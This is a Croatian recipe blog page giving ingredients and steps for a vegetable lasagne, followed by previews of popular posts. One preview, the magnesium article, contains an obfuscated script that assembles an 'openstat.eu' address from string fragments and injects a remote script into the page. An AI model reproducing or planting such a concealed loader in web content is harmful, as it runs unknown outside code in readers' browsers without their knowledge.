POVRTNE LAZANJE


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>Povrtne lazanje


Povrtne lazanje



Ove povrtne lazanje savršen su izbor kada želite pripremiti ukusan, a jednostavan obrok bez mesa. Spoj tikve, brokule i blitve daje jelu svježinu i punoću okusa, dok krem sir i parmezan osiguravaju kremastu teksturu. Priprema je brza i ne zahtijeva puno kulinarskog iskustva, što ih čini idealnim jelom za obiteljski ručak ili večeru.




Povrtne lazanje 


Sastojci za četiri osobe:

  • 1 pakiranje svježih lazanja
  • 500 g očišćene tikve
  • 300 g očišćene brokule
  • 300 g blitve
  • 330 g krem sira
  • 60 g sušenih vrganja
  • 100 g parmezana
  • 3 režnja češnjaka
  • 1 svježi čili
  • timijan, maslinovo ulje, sol, papar



Priprema:

Sušene vrganje namočiti u mlakoj vodi. Tikvu očistiti, oguliti i narezati na kockice.


U posudi zagrijati malo maslinova ulja, dodati režanj češnjaka u ljusci, zatim tikvu, posoliti, popapriti i dodati timijan. Kratko pirjati, podliti s malo vode i kuhati oko 10 minuta, dok tikva ne omekša.


Maknuti s vatre, ukloniti češnjak i ostaviti sa strane. Brokulu razdvojiti na cvjetove i kratko blanširati u posoljenoj vodi; u istoj vodi blanširati blitvu.


U tavi zagrijati maslinovo ulje s češnjakom i čilijem, dodati blitvu i brokulu, lagano posoliti i kratko pirjati na jakoj vatri, tek da ispari višak tekućine.


Ukloniti češnjak.


Vrganje dobro ocijediti i kratko popržiti na maslinovu ulju s češnjakom. Skuhanu tikvu izmiksati štapnim mikserom s polovinom sira.


Na dno vatrostalne posude (oko 21 × 18 cm) položiti list lazanja, premazati kremom od tikve, dodati gljive, malo blitve i brokule te dio preostalog sira i parmezan. Složiti ukupno pet slojeva, završiti sirom.


Peći u statičnoj pećnici zagrijanoj na 230 °C oko 10 minuta. Ostaviti da kratko odstoji prije posluživanja.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više